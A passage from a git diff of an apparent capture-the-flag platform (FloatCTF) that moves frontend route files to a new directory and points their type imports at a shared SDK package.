b/frontends/default/src/routes/admin/weapons.tsx similarity index 99% rename from apps/web/src/routes/admin/weapons.tsx rename to frontends/default/src/routes/admin/weapons.tsx index 9aee2c53..c35b6423 100644 --- a/apps/web/src/routes/admin/weapons.tsx +++ b/frontends/default/src/routes/admin/weapons.tsx @@ -1,6 +1,6 @@ import { adminApi } from "@/api"; import { GenericTable, useMsgBanner } from "@/components"; -import type { Weapons } from "@/entity/weapons"; +import type { Weapons } from "@floatctf/sdk/entity/weapons"; import { DatetimeToShow } from "@/util"; import { CheckIcon } from "@primer/octicons-react"; import { ActionList, Stack, TextInput, ToggleSwitch } from "@primer/react"; diff --git a/apps/web/src/routes/index.tsx b/frontends/default/src/routes/index.tsx similarity index 100% rename from apps/web/src/routes/index.tsx rename to frontends/default/src/routes/index.tsx diff --git a/apps/web/src/routes/register.tsx b/frontends/default/src/routes/register.tsx similarity index 100% rename from apps/web/src/routes/register.tsx rename to frontends/default/src/routes/register.tsx diff --git a/apps/web/src/routes/reset.tsx b/frontends/default/src/routes/reset.tsx similarity index 100% rename from apps/web/src/routes/reset.tsx rename to frontends/default/src/routes/reset.tsx diff --git a/apps/web/src/routes/reset_password.tsx b/frontends/default/src/routes/reset_password.tsx similarity index 100% rename from apps/web/src/routes/reset_password.tsx rename to frontends/default/src/routes/reset_password.tsx diff --git a/apps/web/src/routes/service/announcements.tsx b/frontends/default/src/routes/service/announcements.tsx similarity index 97% rename from apps/web/src/routes/service/announcements.tsx rename to frontends/default/src/routes/service/announcements.tsx index d457ff1d..99d148bc 100644 --- a/apps/web/src/routes/service/announcements.tsx +++ b/frontends/default/src/routes/service/announcements.tsx @@ -3,7 +3,7 @@ import { useTitle } from "ahooks"; import { serviceApi } from "@/api"; import { GenericTable } from "@/components"; -import type { Announcements } from "@/entity"; +import type { Announcements } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; export const Route = createFileRoute("/service/announcements")({ diff --git a/apps/web/src/routes/service/awdp/runs.$runId/index.tsx b/frontends/default/src/routes/service/awdp/runs.$runId/index.tsx similarity index 98% rename from apps/web/src/routes/service/awdp/runs.$runId/index.tsx rename to frontends/default/src/routes/service/awdp/runs.$runId/index.tsx index 9438ab7b..4a66a309 100644 --- a/apps/web/src/routes/service/awdp/runs.$runId/index.tsx +++ b/frontends/default/src/routes/service/awdp/runs.$runId/index.tsx @@ -5,15 +5,16 @@ import { createFileRoute, useNavigate } from "@tanstack/react-router"; import { useTitle } from "ahooks"; import { useMemo } from "react"; -import { awdpRunApi } from "@/api/awdpRuns"; + import { useMsgBanner } from "@/components"; import { AwdpWorkbench, type AwdpWorkbenchViewModel, buildAwdpHistory, } from "@/components/awdp/AwdpWorkbench"; -import { useAwdpRunStream } from "@/hooks/useAwdpRunStream"; +import { useAwdpRunStream } from "@/api/react"; import { ServiceRouteGuard } from "../../route"; +import { awdpRunApi } from "@/api"; export const Route = createFileRoute("/service/awdp/runs/$runId/")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/awdp/runs.$runId/route.tsx b/frontends/default/src/routes/service/awdp/runs.$runId/route.tsx similarity index 100% rename from apps/web/src/routes/service/awdp/runs.$runId/route.tsx rename to frontends/default/src/routes/service/awdp/runs.$runId/route.tsx diff --git a/apps/web/src/routes/service/awdp/runs.$runId/writeup.tsx b/frontends/default/src/routes/service/awdp/runs.$runId/writeup.tsx similarity index 98% rename from apps/web/src/routes/service/awdp/runs.$runId/writeup.tsx rename to frontends/default/src/routes/service/awdp/runs.$runId/writeup.tsx index 96bcd0a9..76b2a35e 100644 --- a/apps/web/src/routes/service/awdp/runs.$runId/writeup.tsx +++ b/frontends/default/src/routes/service/awdp/runs.$runId/writeup.tsx @@ -2,10 +2,11 @@ import { Spinner, Truncate } from "@primer/react"; import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; -import { awdpRunApi } from "@/api/awdpRuns"; + import { AppLink } from "@/navigation"; import { useAuthStore } from "@/stores/AuthStore"; import { DatetimeToShow } from "@/util"; +import { awdpRunApi } from "@/api"; export const Route = createFileRoute("/service/awdp/runs/$runId/writeup")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/challenge_sets/$id/index.tsx b/frontends/default/src/routes/service/challenge_sets/$id/index.tsx similarity index 97% rename from apps/web/src/routes/service/challenge_sets/$id/index.tsx rename to frontends/default/src/routes/service/challenge_sets/$id/index.tsx index b077d5d1..eb6e55c0 100644 --- a/apps/web/src/routes/service/challenge_sets/$id/index.tsx +++ b/frontends/default/src/routes/service/challenge_sets/$id/index.tsx @@ -1,5 +1,5 @@ import { TriangleDownIcon } from "@primer/octicons-react"; -import type { InstancesDto as Instances } from "@/api/service/instances"; +import type { InstancesDto as Instances } from "@floatctf/sdk"; import { Button, Label, SelectPanel, Spinner, TextInput } from "@primer/react"; import { Banner, DataTable, Dialog, Table } from "@primer/react/experimental"; @@ -11,10 +11,10 @@ import { useCallback, useEffect, useMemo, useState } from "react"; import { RemainingTimer } from "../../challenges/$id"; import { serviceApi } from "@/api"; -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { useMsgBanner } from "@/components"; -import type { ChallengesListItem } from "@/types/challengeDto"; +import type { ChallengesListItem } from "@floatctf/sdk"; import { DatetimeToShow } from "@/util"; import type { AxiosError } from "axios"; diff --git a/apps/web/src/routes/service/challenge_sets/index.tsx b/frontends/default/src/routes/service/challenge_sets/index.tsx similarity index 95% rename from apps/web/src/routes/service/challenge_sets/index.tsx rename to frontends/default/src/routes/service/challenge_sets/index.tsx index 5fbd1e0c..d897fabb 100644 --- a/apps/web/src/routes/service/challenge_sets/index.tsx +++ b/frontends/default/src/routes/service/challenge_sets/index.tsx @@ -2,7 +2,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { serviceApi } from "@/api"; import { GenericTable } from "@/components"; -import type { ChallengeSets } from "@/entity"; +import type { ChallengeSets } from "@floatctf/sdk/entity"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; diff --git a/apps/web/src/routes/service/challenges/$id/index.tsx b/frontends/default/src/routes/service/challenges/$id/index.tsx similarity index 98% rename from apps/web/src/routes/service/challenges/$id/index.tsx rename to frontends/default/src/routes/service/challenges/$id/index.tsx index f36ca676..f5ded022 100644 --- a/apps/web/src/routes/service/challenges/$id/index.tsx +++ b/frontends/default/src/routes/service/challenges/$id/index.tsx @@ -1,5 +1,5 @@ import { Button, Label, ProgressBar, Spinner, TextInput } from "@primer/react"; -import type { InstancesDto as Instances } from "@/api/service/instances"; +import type { InstancesDto as Instances } from "@floatctf/sdk"; import { useMutation, useQuery } from "@tanstack/react-query"; import { createFileRoute, useNavigate } from "@tanstack/react-router"; @@ -13,7 +13,7 @@ import { serviceApi } from "@/api"; import { challengeInstanceQueryOptions, challengeQueryOptions, -} from "@/api/queries"; +} from "@/api/react"; import { useMsgBanner } from "@/components"; import { ServiceRouteGuard } from "@/routes/service/route"; diff --git a/apps/web/src/routes/service/challenges/$id/route.tsx b/frontends/default/src/routes/service/challenges/$id/route.tsx similarity index 100% rename from apps/web/src/routes/service/challenges/$id/route.tsx rename to frontends/default/src/routes/service/challenges/$id/route.tsx diff --git a/apps/web/src/routes/service/challenges/$id/writeup.tsx b/frontends/default/src/routes/service/challenges/$id/writeup.tsx similarity index 93% rename from apps/web/src/routes/service/challenges/$id/writeup.tsx rename to frontends/default/src/routes/service/challenges/$id/writeup.tsx index a1e55d83..aa0f5dd6 100644 --- a/apps/web/src/routes/service/challenges/$id/writeup.tsx +++ b/frontends/default/src/routes/service/challenges/$id/writeup.tsx @@ -3,7 +3,7 @@ import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; import { serviceApi } from "@/api"; -import type { ChallengeWriteup, Challenges } from "@/entity"; +import type { ChallengeWriteup, Challenges } from "@floatctf/sdk/entity"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; @@ -11,14 +11,6 @@ export const Route = createFileRoute("/service/challenges/$id/writeup")({ component: RouteComponent, }); -export type ChallengeWriteupResult = { - id: string; - nickname: string; - avatar?: string; - email: string; - challenge: Challenges; - writeup: ChallengeWriteup; -}; function RouteComponent() { const { id } = Route.useParams(); const { data, isLoading, isError } = useQuery({ @@ -106,3 +98,10 @@ function RouteComponent() { ); } + +import type { + ChallengeWriteupResult, +} from "@floatctf/sdk"; +export type { + ChallengeWriteupResult, +}; diff --git a/apps/web/src/routes/service/challenges/index.tsx b/frontends/default/src/routes/service/challenges/index.tsx similarity index 97% rename from apps/web/src/routes/service/challenges/index.tsx rename to frontends/default/src/routes/service/challenges/index.tsx index 434708e6..2eee0239 100644 --- a/apps/web/src/routes/service/challenges/index.tsx +++ b/frontends/default/src/routes/service/challenges/index.tsx @@ -5,7 +5,7 @@ import { serviceApi } from "@/api"; import { GenericTable } from "@/components"; import { AppLink } from "@/navigation"; import { ServiceRouteGuard } from "@/routes/service/route"; -import type { ChallengesListItem } from "@/types/challengeDto"; +import type { ChallengesListItem } from "@floatctf/sdk"; import { DatetimeToShow } from "@/util"; import { CheckIcon } from "@primer/octicons-react"; diff --git a/apps/web/src/routes/service/discussions/$id.tsx b/frontends/default/src/routes/service/discussions/$id.tsx similarity index 99% rename from apps/web/src/routes/service/discussions/$id.tsx rename to frontends/default/src/routes/service/discussions/$id.tsx index e01335f6..6be63429 100644 --- a/apps/web/src/routes/service/discussions/$id.tsx +++ b/frontends/default/src/routes/service/discussions/$id.tsx @@ -8,7 +8,7 @@ import { useEffect, useState } from "react"; import { serviceApi } from "@/api"; import { MDPlusEditor, useMsgBanner } from "@/components"; -import type { DiscussionComments, Discussions } from "@/entity"; +import type { DiscussionComments, Discussions } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; export const Route = createFileRoute("/service/discussions/$id")({ diff --git a/apps/web/src/routes/service/discussions/index.tsx b/frontends/default/src/routes/service/discussions/index.tsx similarity index 97% rename from apps/web/src/routes/service/discussions/index.tsx rename to frontends/default/src/routes/service/discussions/index.tsx index 3dce9168..13d8776d 100644 --- a/apps/web/src/routes/service/discussions/index.tsx +++ b/frontends/default/src/routes/service/discussions/index.tsx @@ -5,7 +5,7 @@ import { useTitle } from "ahooks"; import { serviceApi } from "@/api"; import { GenericTable } from "@/components"; -import type { DiscussionWithAuthor } from "@/api/service/discussions"; +import type { DiscussionWithAuthor } from "@floatctf/sdk"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; diff --git a/apps/web/src/routes/service/discussions/my.tsx b/frontends/default/src/routes/service/discussions/my.tsx similarity index 98% rename from apps/web/src/routes/service/discussions/my.tsx rename to frontends/default/src/routes/service/discussions/my.tsx index ba92447a..3c7fefb0 100644 --- a/apps/web/src/routes/service/discussions/my.tsx +++ b/frontends/default/src/routes/service/discussions/my.tsx @@ -6,7 +6,7 @@ import { useReactive, useTitle } from "ahooks"; import { serviceApi } from "@/api"; import { GenericTable, useMsgBanner } from "@/components"; -import type { DiscussionWithAuthor } from "@/api/service/discussions"; +import type { DiscussionWithAuthor } from "@floatctf/sdk"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; diff --git a/apps/web/src/routes/service/discussions/route.tsx b/frontends/default/src/routes/service/discussions/route.tsx similarity index 100% rename from apps/web/src/routes/service/discussions/route.tsx rename to frontends/default/src/routes/service/discussions/route.tsx diff --git a/apps/web/src/routes/service/events/awd.$id/gameboxes.tsx b/frontends/default/src/routes/service/events/awd.$id/gameboxes.tsx similarity index 97% rename from apps/web/src/routes/service/events/awd.$id/gameboxes.tsx rename to frontends/default/src/routes/service/events/awd.$id/gameboxes.tsx index 3ed51681..ceb6aa0b 100644 --- a/apps/web/src/routes/service/events/awd.$id/gameboxes.tsx +++ b/frontends/default/src/routes/service/events/awd.$id/gameboxes.tsx @@ -1,4 +1,4 @@ -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { Button, Label, Spinner, useConfirm } from "@primer/react"; import { DataTable, Table } from "@primer/react/experimental"; import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; @@ -7,10 +7,11 @@ import { getCoreRowModel, useReactTable } from "@tanstack/react-table"; import type { AxiosError } from "axios"; import { serviceApi } from "@/api"; -import { awdPlayerApi } from "@/api/awd"; -import type { AwdGameBox } from "@/api/awd"; + +import type { AwdGameBox } from "@floatctf/sdk"; import { useMsgBanner } from "@/components"; import { ServiceRouteGuard } from "../../route"; +import { awdPlayerApi } from "@/api"; export const Route = createFileRoute("/service/events/awd/$id/gameboxes")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/events/awd.$id/index.tsx b/frontends/default/src/routes/service/events/awd.$id/index.tsx similarity index 99% rename from apps/web/src/routes/service/events/awd.$id/index.tsx rename to frontends/default/src/routes/service/events/awd.$id/index.tsx index 32235541..88b1b9f3 100644 --- a/apps/web/src/routes/service/events/awd.$id/index.tsx +++ b/frontends/default/src/routes/service/events/awd.$id/index.tsx @@ -7,7 +7,7 @@ import dayjs from "dayjs"; import { Fragment, type FormEvent, useState } from "react"; import { serviceApi } from "@/api"; -import { awdPlayerApi } from "@/api/awd"; + import { EVENT_STATUS_LABEL, SubmitWriteup, @@ -17,8 +17,9 @@ import { import { AWD_PLAYER_QUERY_KEYS, invalidateAwdQueries, -} from "@/hooks/awdInvalidation"; +} from "@floatctf/react"; import { ServiceRouteGuard } from "../../route"; +import { awdPlayerApi } from "@/api"; export const Route = createFileRoute("/service/events/awd/$id/")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/events/awd.$id/route.tsx b/frontends/default/src/routes/service/events/awd.$id/route.tsx similarity index 96% rename from apps/web/src/routes/service/events/awd.$id/route.tsx rename to frontends/default/src/routes/service/events/awd.$id/route.tsx index 009ca718..80e8955e 100644 --- a/apps/web/src/routes/service/events/awd.$id/route.tsx +++ b/frontends/default/src/routes/service/events/awd.$id/route.tsx @@ -7,14 +7,15 @@ import { useTitle } from "ahooks"; import { createContext } from "react"; import { serviceApi } from "@/api"; -import { awdPlayerApi } from "@/api/awd"; + import { RouterUnderlineNavItem } from "@/components/RouterUnderlineNavItem"; import { AwdEventProgress, playerProgressState, } from "@/components/awd/AwdEventProgress"; -import { useAwdEventStream } from "@/hooks/useAwdEventStream"; +import { useAwdEventStream } from "@/api/react"; import { ServiceRouteGuard } from "../../route"; +import { awdPlayerApi } from "@/api"; export const Route = createFileRoute("/service/events/awd/$id")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/events/awd.$id/scoreboard.tsx b/frontends/default/src/routes/service/events/awd.$id/scoreboard.tsx similarity index 97% rename from apps/web/src/routes/service/events/awd.$id/scoreboard.tsx rename to frontends/default/src/routes/service/events/awd.$id/scoreboard.tsx index 9b2cc470..712389e8 100644 --- a/apps/web/src/routes/service/events/awd.$id/scoreboard.tsx +++ b/frontends/default/src/routes/service/events/awd.$id/scoreboard.tsx @@ -1,4 +1,4 @@ -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { Spinner } from "@primer/react"; import { DataTable, Table } from "@primer/react/experimental"; import { useQuery } from "@tanstack/react-query"; @@ -7,7 +7,7 @@ import { getCoreRowModel, useReactTable } from "@tanstack/react-table"; import type { AxiosError } from "axios"; import { serviceApi } from "@/api"; -import type { AwdScoreRow } from "@/api/awd"; +import type { AwdScoreRow } from "@floatctf/sdk"; import { ServiceRouteGuard } from "../../route"; export const Route = createFileRoute("/service/events/awd/$id/scoreboard")({ diff --git a/apps/web/src/routes/service/events/awd.$id/ssh.tsx b/frontends/default/src/routes/service/events/awd.$id/ssh.tsx similarity index 99% rename from apps/web/src/routes/service/events/awd.$id/ssh.tsx rename to frontends/default/src/routes/service/events/awd.$id/ssh.tsx index b942b36d..8258c586 100644 --- a/apps/web/src/routes/service/events/awd.$id/ssh.tsx +++ b/frontends/default/src/routes/service/events/awd.$id/ssh.tsx @@ -11,8 +11,9 @@ import { createFileRoute } from "@tanstack/react-router"; import { useState } from "react"; import { serviceApi } from "@/api"; -import { awdPlayerApi } from "@/api/awd"; + import { ServiceRouteGuard } from "../../route"; +import { awdPlayerApi } from "@/api"; export const Route = createFileRoute("/service/events/awd/$id/ssh")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/events/awd.$id/wireguard.tsx b/frontends/default/src/routes/service/events/awd.$id/wireguard.tsx similarity index 99% rename from apps/web/src/routes/service/events/awd.$id/wireguard.tsx rename to frontends/default/src/routes/service/events/awd.$id/wireguard.tsx index d61f47b9..1be47b86 100644 --- a/apps/web/src/routes/service/events/awd.$id/wireguard.tsx +++ b/frontends/default/src/routes/service/events/awd.$id/wireguard.tsx @@ -6,8 +6,9 @@ import { createFileRoute } from "@tanstack/react-router"; import { useState } from "react"; import { serviceApi } from "@/api"; -import { awdPlayerApi } from "@/api/awd"; + import { ServiceRouteGuard } from "../../route"; +import { awdPlayerApi } from "@/api"; export const Route = createFileRoute("/service/events/awd/$id/wireguard")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/events/awdp.$id/-workbench.tsx b/frontends/default/src/routes/service/events/awdp.$id/-workbench.tsx similarity index 97% rename from apps/web/src/routes/service/events/awdp.$id/-workbench.tsx rename to frontends/default/src/routes/service/events/awdp.$id/-workbench.tsx index 7bb7c3ae..7c838af2 100644 --- a/apps/web/src/routes/service/events/awdp.$id/-workbench.tsx +++ b/frontends/default/src/routes/service/events/awdp.$id/-workbench.tsx @@ -1,8 +1,9 @@ import { useQuery, useQueryClient } from "@tanstack/react-query"; import { useMemo } from "react"; -import { type AwdpOverview, awdpPlayerApi } from "@/api/awdp"; +import { type AwdpOverview } from "@floatctf/sdk"; import { AwdpWorkbench, type AwdpWorkbenchViewModel } from "@/components/awdp/AwdpWorkbench"; +import { awdpPlayerApi } from "@/api"; /** * 赛事(Competition)→ AwdpWorkbench 适配器(§65)。 diff --git a/apps/web/src/routes/service/events/awdp.$id/announcement.tsx b/frontends/default/src/routes/service/events/awdp.$id/announcement.tsx similarity index 94% rename from apps/web/src/routes/service/events/awdp.$id/announcement.tsx rename to frontends/default/src/routes/service/events/awdp.$id/announcement.tsx index 2af9fa30..003ed118 100644 --- a/apps/web/src/routes/service/events/awdp.$id/announcement.tsx +++ b/frontends/default/src/routes/service/events/awdp.$id/announcement.tsx @@ -1,4 +1,4 @@ -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { Spinner } from "@primer/react"; import { DataTable, Table } from "@primer/react/experimental"; import { useQuery } from "@tanstack/react-query"; @@ -7,7 +7,7 @@ import { getCoreRowModel, useReactTable } from "@tanstack/react-table"; import type { AxiosError } from "axios"; import { serviceApi } from "@/api"; -import type { EventAnnouncements } from "@/entity"; +import type { EventAnnouncements } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { ServiceRouteGuard } from "../../route"; diff --git a/apps/web/src/routes/service/events/awdp.$id/gameboxes.tsx b/frontends/default/src/routes/service/events/awdp.$id/gameboxes.tsx similarity index 100% rename from apps/web/src/routes/service/events/awdp.$id/gameboxes.tsx rename to frontends/default/src/routes/service/events/awdp.$id/gameboxes.tsx diff --git a/apps/web/src/routes/service/events/awdp.$id/index.tsx b/frontends/default/src/routes/service/events/awdp.$id/index.tsx similarity index 99% rename from apps/web/src/routes/service/events/awdp.$id/index.tsx rename to frontends/default/src/routes/service/events/awdp.$id/index.tsx index d3e0177a..edad4235 100644 --- a/apps/web/src/routes/service/events/awdp.$id/index.tsx +++ b/frontends/default/src/routes/service/events/awdp.$id/index.tsx @@ -14,7 +14,7 @@ import { computeEventStatus, useMsgInlineBanner, } from "@/components"; -import { ParticipantMode } from "@/entity"; +import { ParticipantMode } from "@floatctf/sdk/entity"; import { ServiceRouteGuard } from "../../route"; export const Route = createFileRoute("/service/events/awdp/$id/")({ diff --git a/apps/web/src/routes/service/events/awdp.$id/rounds.tsx b/frontends/default/src/routes/service/events/awdp.$id/rounds.tsx similarity index 97% rename from apps/web/src/routes/service/events/awdp.$id/rounds.tsx rename to frontends/default/src/routes/service/events/awdp.$id/rounds.tsx index 3ac821fe..0e5ad5d3 100644 --- a/apps/web/src/routes/service/events/awdp.$id/rounds.tsx +++ b/frontends/default/src/routes/service/events/awdp.$id/rounds.tsx @@ -5,12 +5,9 @@ import { createFileRoute } from "@tanstack/react-router"; import { getCoreRowModel, useReactTable } from "@tanstack/react-table"; import dayjs from "dayjs"; -import { - awdpPlayerApi, - type AwdpEvaluationDto, - type AwdpRoundDto, -} from "@/api/awdp"; +import { type AwdpEvaluationDto, type AwdpRoundDto } from "@floatctf/sdk"; import { ServiceRouteGuard } from "../../route"; +import { awdpPlayerApi } from "@/api"; export const Route = createFileRoute("/service/events/awdp/$id/rounds")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/events/awdp.$id/route.tsx b/frontends/default/src/routes/service/events/awdp.$id/route.tsx similarity index 97% rename from apps/web/src/routes/service/events/awdp.$id/route.tsx rename to frontends/default/src/routes/service/events/awdp.$id/route.tsx index 9a08a787..7834b4cf 100644 --- a/apps/web/src/routes/service/events/awdp.$id/route.tsx +++ b/frontends/default/src/routes/service/events/awdp.$id/route.tsx @@ -8,7 +8,7 @@ import { createContext } from "react"; import { serviceApi } from "@/api"; import { RouterUnderlineNavItem } from "@/components/RouterUnderlineNavItem"; import { AwdpEventProgress } from "@/components/awdp/AwdpEventProgress"; -import { useAwdpEventStream } from "@/hooks/useAwdpEventStream"; +import { useAwdpEventStream } from "@/api/react"; import { ServiceRouteGuard } from "../../route"; export const Route = createFileRoute("/service/events/awdp/$id")({ diff --git a/apps/web/src/routes/service/events/awdp.$id/scoreboard.tsx b/frontends/default/src/routes/service/events/awdp.$id/scoreboard.tsx similarity index 88% rename from apps/web/src/routes/service/events/awdp.$id/scoreboard.tsx rename to frontends/default/src/routes/service/events/awdp.$id/scoreboard.tsx index 1c6ce059..20336ae8 100644 --- a/apps/web/src/routes/service/events/awdp.$id/scoreboard.tsx +++ b/frontends/default/src/routes/service/events/awdp.$id/scoreboard.tsx @@ -1,12 +1,13 @@ -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { Spinner } from "@primer/react"; import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; import type { AxiosError } from "axios"; -import { type AwdpScoreboardDetail, awdpPlayerApi } from "@/api/awdp"; +import { type AwdpScoreboardDetail } from "@floatctf/sdk"; import { AwdpScoreboardView } from "@/components/awdp/AwdpScoreboard"; import { ServiceRouteGuard } from "../../route"; +import { awdpPlayerApi } from "@/api"; export const Route = createFileRoute("/service/events/awdp/$id/scoreboard")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/events/awdp.$id/trend.tsx b/frontends/default/src/routes/service/events/awdp.$id/trend.tsx similarity index 88% rename from apps/web/src/routes/service/events/awdp.$id/trend.tsx rename to frontends/default/src/routes/service/events/awdp.$id/trend.tsx index 630e2887..23993647 100644 --- a/apps/web/src/routes/service/events/awdp.$id/trend.tsx +++ b/frontends/default/src/routes/service/events/awdp.$id/trend.tsx @@ -3,10 +3,11 @@ import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; import type { AxiosError } from "axios"; -import { type AwdpTrendItem, awdpPlayerApi } from "@/api/awdp"; -import type { UniResponse } from "@/api/axios"; +import { type AwdpTrendItem } from "@floatctf/sdk"; +import type { UniResponse } from "@floatctf/sdk"; import { TrendChart } from "@/routes/service/events/jeopardy.$id/trend"; import { ServiceRouteGuard } from "../../route"; +import { awdpPlayerApi } from "@/api"; export const Route = createFileRoute("/service/events/awdp/$id/trend")({ component: RouteComponent, diff --git a/apps/web/src/routes/service/events/index.tsx b/frontends/default/src/routes/service/events/index.tsx similarity index 90% rename from apps/web/src/routes/service/events/index.tsx rename to frontends/default/src/routes/service/events/index.tsx index fdb62943..80ff5739 100644 --- a/apps/web/src/routes/service/events/index.tsx +++ b/frontends/default/src/routes/service/events/index.tsx @@ -9,7 +9,7 @@ import { type EventTeams, EventFamily, type Events, -} from "@/entity"; +} from "@floatctf/sdk/entity"; import { AppLink } from "@/navigation"; import { DatetimeToShow } from "@/util"; @@ -19,22 +19,8 @@ export const Route = createFileRoute("/service/events/")({ const filterKeys = ["title", "family", "allow_join"]; -export type EventInfo = { - id: string; - event: Events; - team_result?: EventTeamResult; - joined: boolean; -}; -export type EventTeamMemberResult = { - member_name: string; - member: EventTeamMembers; -}; -export type EventTeamResult = { - team: EventTeams; - members: EventTeamMemberResult[]; -}; function RouteComponent() { useTitle("Events | FloatCTF"); @@ -144,3 +130,14 @@ function RouteComponent() { /> ); } + +import type { + EventInfo, + EventTeamMemberResult, + EventTeamResult, +} from "@floatctf/sdk"; +export type { + EventInfo, + EventTeamMemberResult, + EventTeamResult, +}; diff --git a/apps/web/src/routes/service/events/jeopardy.$id/announcement.tsx b/frontends/default/src/routes/service/events/jeopardy.$id/announcement.tsx similarity index 94% rename from apps/web/src/routes/service/events/jeopardy.$id/announcement.tsx rename to frontends/default/src/routes/service/events/jeopardy.$id/announcement.tsx index a56c4712..81fe9562 100644 --- a/apps/web/src/routes/service/events/jeopardy.$id/announcement.tsx +++ b/frontends/default/src/routes/service/events/jeopardy.$id/announcement.tsx @@ -1,4 +1,4 @@ -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { Spinner } from "@primer/react"; import { DataTable, Table } from "@primer/react/experimental"; import { useQuery } from "@tanstack/react-query"; @@ -7,7 +7,7 @@ import { getCoreRowModel, useReactTable } from "@tanstack/react-table"; import type { AxiosError } from "axios"; import { serviceApi } from "@/api"; -import type { EventAnnouncements } from "@/entity"; +import type { EventAnnouncements } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; export const Route = createFileRoute( diff --git a/apps/web/src/routes/service/events/jeopardy.$id/challenges.tsx b/frontends/default/src/routes/service/events/jeopardy.$id/challenges.tsx similarity index 95% rename from apps/web/src/routes/service/events/jeopardy.$id/challenges.tsx rename to frontends/default/src/routes/service/events/jeopardy.$id/challenges.tsx index 4d6a6583..c1b3c40c 100644 --- a/apps/web/src/routes/service/events/jeopardy.$id/challenges.tsx +++ b/frontends/default/src/routes/service/events/jeopardy.$id/challenges.tsx @@ -1,4 +1,4 @@ -import type { InstancesDto as Instances } from "@/api/service/instances"; +import type { InstancesDto as Instances } from "@floatctf/sdk"; import { CheckIcon, SparkleFillIcon, @@ -8,7 +8,7 @@ import { } from "@primer/octicons-react"; import { Button, Label, SelectPanel, Spinner, TextInput } from "@primer/react"; -import type { UniResponse } from "@/api/axios"; +import type { UniResponse } from "@floatctf/sdk"; import { Banner, DataTable, Dialog, Table } from "@primer/react/experimental"; import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; @@ -20,7 +20,7 @@ import { RemainingTimer } from "../../challenges/$id"; import { serviceApi } from "@/api"; import { useMsgBanner } from "@/components"; -import type { ChallengesListItem } from "@/types/challengeDto"; +import type { ChallengesListItem } from "@floatctf/sdk"; import type { AxiosError } from "axios"; export const Route = createFileRoute("/service/events/jeopardy/$id/challenges")( { @@ -28,15 +28,6 @@ export const Route = createFileRoute("/service/events/jeopardy/$id/challenges")( }, ); -export type EventChallengeResult = { - /** 行唯一标识(后端不返回,前端由 challenge.id 合成,供 DataTable 行 key)。 */ - id: string; - challenge: ChallengesListItem; - current_points: number; - solved_count: number; - solved: boolean; - solved_no: number; -}; function RouteComponent() { const { id } = Route.useParams(); @@ -404,3 +395,10 @@ function ChallengeDialog({ ); } + +import type { + EventChallengeResult, +} from "@floatctf/sdk"; +export type { + EventChallengeResult, +}; diff --git a/apps/web/src/routes/service/events/jeopardy.$id/index.tsx b/frontends/default/src/routes/service/events/jeopardy.$id/index.tsx similarity index 98% rename from apps/web/src/routes/service/events/jeopardy.$id/index.tsx rename to frontends/default/src/routes/service/events/jeopardy.$id/index.tsx index 6642ea4b..9cfc6fd5 100644 --- a/apps/web/src/routes/service/events/jeopardy.$id/index.tsx +++ b/frontends/default/src/routes/service/events/jeopardy.$id/index.tsx @@ -8,9 +8,9 @@ import { Fragment, type FormEvent, useMemo, useState } from "react"; import { match } from "ts-pattern"; import { serviceApi } from "@/api"; -import { eventInfoQueryOptions } from "@/api/queries/service/events"; +import { eventInfoQueryOptions } from "@/api/react"; import { SubmitWriteup, useMsgInlineBanner } from "@/components"; -import { ParticipantMode } from "@/entity"; +import { ParticipantMode } from "@floatctf/sdk/entity"; import type { EventInfo } from ".."; export const Route = createFileRoute("/service/events/jeopardy/$id/")({ diff --git a/apps/web/src/routes/service/events/jeopardy.$id/instances.tsx b/frontends/default/src/routes/service/events/jeopardy.$id/instances.tsx similarity index 91% rename from apps/web/src/routes/service/events/jeopardy.$id/instances.tsx rename to frontends/default/src/routes/service/events/jeopardy.$id/instances.tsx index 291debb1..9b8dc18b 100644 --- a/apps/web/src/routes/service/events/jeopardy.$id/instances.tsx +++ b/frontends/default/src/routes/service/events/jeopardy.$id/instances.tsx @@ -1,5 +1,5 @@ -import type { UniResponse } from "@/api/axios"; -import type { InstancesDto as Instances } from "@/api/service/instances"; +import type { UniResponse } from "@floatctf/sdk"; +import type { InstancesDto as Instances } from "@floatctf/sdk"; import { Button, Spinner } from "@primer/react"; import { DataTable, Table } from "@primer/react/experimental"; @@ -13,12 +13,6 @@ import { useMsgBanner } from "@/components"; import { DatetimeToShow } from "@/util"; -export type EventInstanceResult = { - id: string; - instance: Instances; - challenge_name: string; - user_nickname: string; -}; export const Route = createFileRoute("/service/events/jeopardy/$id/instances")({ component: RouteComponent, }); @@ -119,3 +113,10 @@ function RouteComponent() { ); } + +import type { + EventInstanceResult, +} from 